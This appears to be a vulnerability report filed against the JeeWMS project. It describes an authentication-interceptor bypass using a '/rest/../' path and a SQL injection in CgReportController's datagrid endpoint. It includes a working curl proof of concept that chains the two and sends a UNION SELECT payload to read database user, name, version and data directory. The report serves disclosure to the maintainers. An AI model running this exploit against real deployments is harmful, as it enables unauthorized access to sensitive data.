There is a SQL injection vulnerability in the project.

I found one SQL injection vulnerability in the code, which allows an unauthorized attacker to access sensitive data in the system.The details are as follows.

First, there is a flaw in the class named `AuthInterceptor`.
![输入图片说明](https://foruda.gitee.com/images/1731042297967843846/b3cab596_8584491.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1731042379096704772/6c0d5e11_8584491.png "屏幕截图")
In the filter code, use `request.getRequestURI()` to obtain the request path, and then determine whether the uri startsWith `rest/`. If the condition is not met, it will execute `return true` to bypass the Interceptor. Otherwise, it will block the current request and redirect to the login page.
The problem lies in using `request.getRequestURI()` to obtain the request path. The path obtained by this function will not parse special symbols, but will be passed on directly, so you can use `/rest/../` to bypass it.

Second, there is one api `CgReportController` causing SQL injection. In the method `org.jeecgframework.web.cgreport.controller.core.CgReportController#datagrid`, the code fails to properly validate the parameters before substituting them into the SQL statement when the `configId` is set to `jckcs`. This lack of validation leads to a SQL injection (SQLi) vulnerability.
![输入图片说明](https://foruda.gitee.com/images/1731042721185958343/078e7a9b_8584491.png "屏幕截图")

The poc is like this.

```shell
curl --noproxy "*" --path-as-is --location --request POST "http://<your-ip>:8080/rest/../cgReportController.do?datagrid=1&page=-1&rows=-1&configId=jckcs" \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: localhost:8080' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: JSESSIONID=DA22E520EDA83F2609FECE3B64542A58' \
--data-urlencode 'begin_date=1000000000 union select user(), database(), version(), @@DATADIR, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1) t -- a' \
--data-urlencode 'end_date=1'
```
![输入图片说明](https://foruda.gitee.com/images/1731043483654800300/4729edb0_8584491.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1731043537609169641/1385e8f8_8584491.png "屏幕截图")

GVP JeeWMS/JeeWMS

Content Risk Flag

Comments (0)

GVPJeeWMS/JeeWMS

Content Risk Flag